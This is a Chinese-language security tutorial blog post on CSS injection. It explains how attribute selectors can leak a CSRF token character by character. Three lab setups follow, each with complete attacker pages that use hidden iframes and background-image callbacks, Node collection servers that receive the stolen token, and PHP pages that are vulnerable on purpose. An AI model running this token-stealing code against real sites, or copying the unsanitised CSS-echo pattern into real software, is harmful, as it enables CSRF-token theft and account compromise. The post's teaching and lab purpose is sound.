安全基础第六天:css注入

一、css注入原理

1.什么是css注入

        CSS注入就是使用CSS的一些特性写成脚本在特定的工作条件下造成用户敏感信息泄露的一种安全漏洞。

2.引发的原因

        从用户提供的URL中引入CSS文件,CSS代码中采用了用户的输入数据。

3.原理

        CSS属性选择器让开发者可以根据属性标签的值匹配子字符串来选择元素。 这些属性值选择器可以做以下操作:

1.如果字符串以子字符串开头,则匹配;

2.如果字符串以子字符串结尾,则匹配;

3.如果字符串在任何地方包含子字符串,则匹配;

4.属性选择器能让开发人员查询单个属性的页面HTML标记,并且匹配它们的值。

        而在实际环境中,如果一些敏感信息会被存放在HTML标签内,如CSRF token存储在隐藏表单的属性值中,这使得我们可以将CSS选择器与表单中的属性进行匹配,并根据表单是否与起始字符串匹配,加载一个外部资源,例如背景图片,来尝试猜测属性的起始字母。通过这种方式,攻击者可以进行逐字猜解并最终获取到完整的敏感数值。

二、css注入案例

  1. 实验一
    1. 被攻击页面源码

                

<html>

    <style>

        #frames {

            visibility: hidden;

        }

    </style>

    <body>

        <div id="current"></div>

        <div id="time_to_next"></div>

        <div id="frames"></div>

    </body>

    <script>

        vuln_url = 'http://www.xss.com/cors.php?css=';

        server_receive_token_url = 'http://127.0.0.1:8083/receive/';

        server_return_token_url = 'http://127.0.0.1:8083/return';

        chars = "abcdefghijklmnopqrstuvwxyz0123456789".split("");

        known = "";

        function test_char(known, chars) {

            // Remove all the frames

            document.getElementById("frames").innerHTML = "";

            // Append the chars with the known chars

            css = build_css(chars.map(v => known + v));

            // Create an iframe to try the attack. If `X-Frame-Options` is blocking this you could use a new tab...

            frame = document.createElement("iframe");

            frame.src = vuln_url + css;

            frame.style="visibility: hidden;"; //gotta be sneaky sneaky like

            document.getElementById("frames").appendChild(frame);

            // in 1 seconds, after the iframe loads, check to see if we got a response yet

            setTimeout(function() {

                var oReq = new XMLHttpRequest();

                oReq.addEventListener("load", known_listener);

                oReq.open("GET", server_return_token_url);

                oReq.send();

            }, 1000);

        }

        function build_css(values) {

            css_payload = "";

            for(var value in values) {

                css_payload += "input[value^=\""

                    + values[value]

                    + "\"]{background-image:url("

                    + server_receive_token_url

                    + values[value]

                    + ")%3B}"; //can't use an actual semicolon because that has a meaning in a url

            }

            return css_payload;

        }

        function known_listener () {

            document.getElementById("current").innerHTML = "Current Token: " + this.responseText;

            if(known != this.responseText) {

                known = this.responseText;

                test_char(known, chars);

            } else {

                known = this.responseText;

                alert("CSRF token is: " + known);

            }

        }

        test_char("", chars);

    </script>

</html>

        2.服务器端

var express = require('express');

var app = express();

var path = require('path');

var token = "";


 

app.all("*", function(req,res,next){

    //设置允许跨域的域名,*代表允许任意域名跨域

    res.header("Access-Control-Allow-Origin", "*");

    res.header("Access-Control-Allow-Methods", 'PUT,POST,GET,DELETE,OPTIONS');

    res.header("Access-Control-Allow-Credentials", true);

    next()

})


 

app.get('/receive/:token', function(req, res) {

    token = req.params.token;

    console.log(token)

    res.send('ok');

});

app.get('/return', function(req, res){

    res.send(token);

});

app.get('/index.html', function(req, res){

    res.sendFile(path.join(__dirname, 'index.html'));

})


 

var server = app.listen(8083, function() {

    var host = server.address().address

    var port = server.address().port

    console.log("Example app listening at http://%s:%s", host, port)

})

         3.php页面

<?php

$token1 = md5($_SERVER['HTTP_USER_AGENT']);

$token2 = md5($token1);

?>

<!doctype html><meta charset=utf-8>

<input value=<?=$token1 ?>>

<!-- 21232f297a57a5a743894a0e4a801fc3 -->

<!-- <input type="hidden" name="csrf">  

<input type="text">  -->

<script>

var TOKEN = "<?=$token2 ?>";

</script>

<style>

   

<?=preg_replace('#</style#i', '#', $_GET['css']) ?>

</style>

        4.启用node.js服务器

        5.结果

        

         6.总结

       该方法适合当input里面没有hidden的时候使用,一般是用来获取我们跨域请求的tocken值,当我们利用css的属性选择器,通过不断的对我们的敏感值进行对比,最终获取到了我们的tocken值,通过这个值我们可以直接进入到该界面。

2.实验二(有hidden头部信息)

        1.被攻击页面

<html>

    <style>

        #frames {

            visibility: hidden;

        }

    </style>

    <body>

        <div id="current"></div>

        <div id="time_to_next"></div>

        <div id="frames"></div>

    </body>

    <script>

        vuln_url = 'http://www.xss.com/cors.php?css=';

        server_receive_token_url = 'http://127.0.0.1:8083/receive/';

        server_return_token_url = 'http://127.0.0.1:8083/return';

        chars = "abcdefghijklmnopqrstuvwxyz0123456789".split("");

        known = "";

        function test_char(known, chars) {

            // Remove all the frames

            document.getElementById("frames").innerHTML = "";

            // Append the chars with the known chars

            css = build_css(chars.map(v => known + v));

            // Create an iframe to try the attack. If `X-Frame-Options` is blocking this you could use a new tab...

            frame = document.createElement("iframe");

            frame.src = vuln_url + css;

            frame.style="visibility: hidden;"; //gotta be sneaky sneaky like

            document.getElementById("frames").appendChild(frame);

            // in 1 seconds, after the iframe loads, check to see if we got a response yet

            setTimeout(function() {

                var oReq = new XMLHttpRequest();

                oReq.addEventListener("load", known_listener);

                oReq.open("GET", server_return_token_url);

                oReq.send();

            }, 1000);

        }

        function build_css(values) {

            css_payload = "";

            for(var value in values) {

                css_payload += "input[value^=\""

                    + values[value]

                    + "\"]~*{background-image:url("

                    + server_receive_token_url

                    + values[value]

                    + ")%3B}"; //can't use an actual semicolon because that has a meaning in a url

            }

            return css_payload;

        }

        function known_listener () {

            document.getElementById("current").innerHTML = "Current Token: " + this.responseText;

            if(known != this.responseText) {

                known = this.responseText;

                test_char(known, chars);

            } else {

                known = this.responseText;

                alert("CSRF token is: " + known);

            }

        }

        test_char("", chars);

    </script>

</html>


 

        2.服务器

const express = require('express');

const app = express();

// Serwer ExprssJS domyślnie dodaje nagłówek ETag,

// ale nam nie jest to potrzebne, więc wyłączamy.

app.disable('etag');

const PORT = 3000;


 

app.all("*", function (req, res, next) {

    //设置允许跨域的域名,*代表允许任意域名跨域

    res.header("Access-Control-Allow-Origin", "*");

    res.header("Access-Control-Allow-Methods", 'PUT,POST,GET,DELETE,OPTIONS');

    res.header("Access-Control-Allow-Credentials", true);

    next()

})


 

// Obsługa zapytania przyjmującego token jako połączenie

// zwrotne.

app.get('/token/:token', (req, res) => {

    const { token } = req.params;

    // W odpowiedzi po prostu ustawiane jest ciasteczko o nazwie

    // token i tej samej wartości, która została przekazana w URL-u

    res.cookie('token', token);

    res.send('');

});

app.get('/cookie.js', (req, res) => {

    res.sendFile('js.cookie.js', {

        root: './node_modules/js-cookie/src/'

    });

});

app.get('/index.html', (req, res) => {

    res.sendFile('index.html', {

        root: '.'

    });

});

app.listen(PORT, () => {

    console.log(`Listening on ${PORT}...`);

})

        3.php页面

<?php

$token1 = md5($_SERVER['HTTP_USER_AGENT']);

$token2 = md5($token1);

?>

<!doctype html><meta charset=utf-8>

<input type="hidden" value=<?=$token1 ?>>

<input type="text" name="" >

<script>

var TOKEN = "<?=$token2 ?>";

</script>

<style>

<?=preg_replace('#</style#i', '#', $_GET['css']) ?>

</style>

        4.总结

        当我有hidden头的时候,我们可以通过兄弟选择器进行绕过,利用兄弟元素进行利用

3.实验三

        1.被攻击页面

        

<!doctype html>

<meta charset=utf-8>

<script src="http://127.0.0.1:3000/cookie.js"></script>

<big id="token"></big><br>

<iframe id=iframe></iframe>

<script>

    (async function () {

        const EXPECTED_TOKEN_LENGTH = 32;

        const ALPHABET = Array.from("0123456789abcdef");

        const iframe = document.getElementById('iframe');

        let extractedToken = '';

        while (extractedToken.length < EXPECTED_TOKEN_LENGTH) {

            clearTokenCookie();

            createIframeWithCss();

            extractedToken = await getTokenFromCookie();

            document.getElementById('token').textContent = extractedToken;

        }

        function getTokenFromCookie() {

            return new Promise(resolve => {

                const interval = setInterval(function () {

                    const token = Cookies.get('token');

                    if (token) {

                        clearInterval(interval);

                        resolve(token);

                    }

                }, 50);

            });

        }

        function clearTokenCookie() {

            Cookies.remove('token');

        }

        function generateCSS() {

            let css = '';

            for (let char of ALPHABET) {

                css += `input[value^="${extractedToken}${char}"]~*{

                    background: url(http://127.0.0.1:3000/token/${extractedToken}${char})

                    }`;

            }

            return css;

        }

        function createIframeWithCss() {

            iframe.src = 'http://127.0.0.1/css/index.php?css=' + encodeURIComponent(generateCSS());

        }

    })();

</script>

        2.攻击的服务器

        

const express = require('express');

const app = express();

// Serwer ExprssJS domyślnie dodaje nagłówek ETag,

// ale nam nie jest to potrzebne, więc wyłączamy.

app.disable('etag');

const PORT = 3000;


 

app.all("*", function (req, res, next) {

    //设置允许跨域的域名,*代表允许任意域名跨域

    res.header("Access-Control-Allow-Origin", "*");

    res.header("Access-Control-Allow-Methods", 'PUT,POST,GET,DELETE,OPTIONS');

    res.header("Access-Control-Allow-Credentials", true);

    next()

})


 

// Obsługa zapytania przyjmującego token jako połączenie

// zwrotne.

app.get('/token/:token', (req, res) => {

    const { token } = req.params;

    // W odpowiedzi po prostu ustawiane jest ciasteczko o nazwie

    // token i tej samej wartości, która została przekazana w URL-u

    res.cookie('token', token);

    res.send('');

});

app.get('/cookie.js', (req, res) => {

    res.sendFile('js.cookie.js', {

        root: './node_modules/js-cookie/src/'

    });

});

app.get('/index.html', (req, res) => {

    res.sendFile('index.html', {

        root: '.'

    });

});

app.listen(PORT, () => {

    console.log(`Listening on ${PORT}...`);

})

        3.php内容

<?php

$token1 = md5($_SERVER['HTTP_USER_AGENT']);

$token2 = md5($token1);

?>

<!doctype html><meta charset=utf-8>

<input type="" value=<?=$token1 ?>>

<script>

var TOKEN = "<?=$token2 ?>";

</script>

<style>

<?=preg_replace('#</style#i', '#', $_GET['css']) ?>

</style>

        4.启动服务器

        5.结果

4.master

5.websocket进行css注入

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值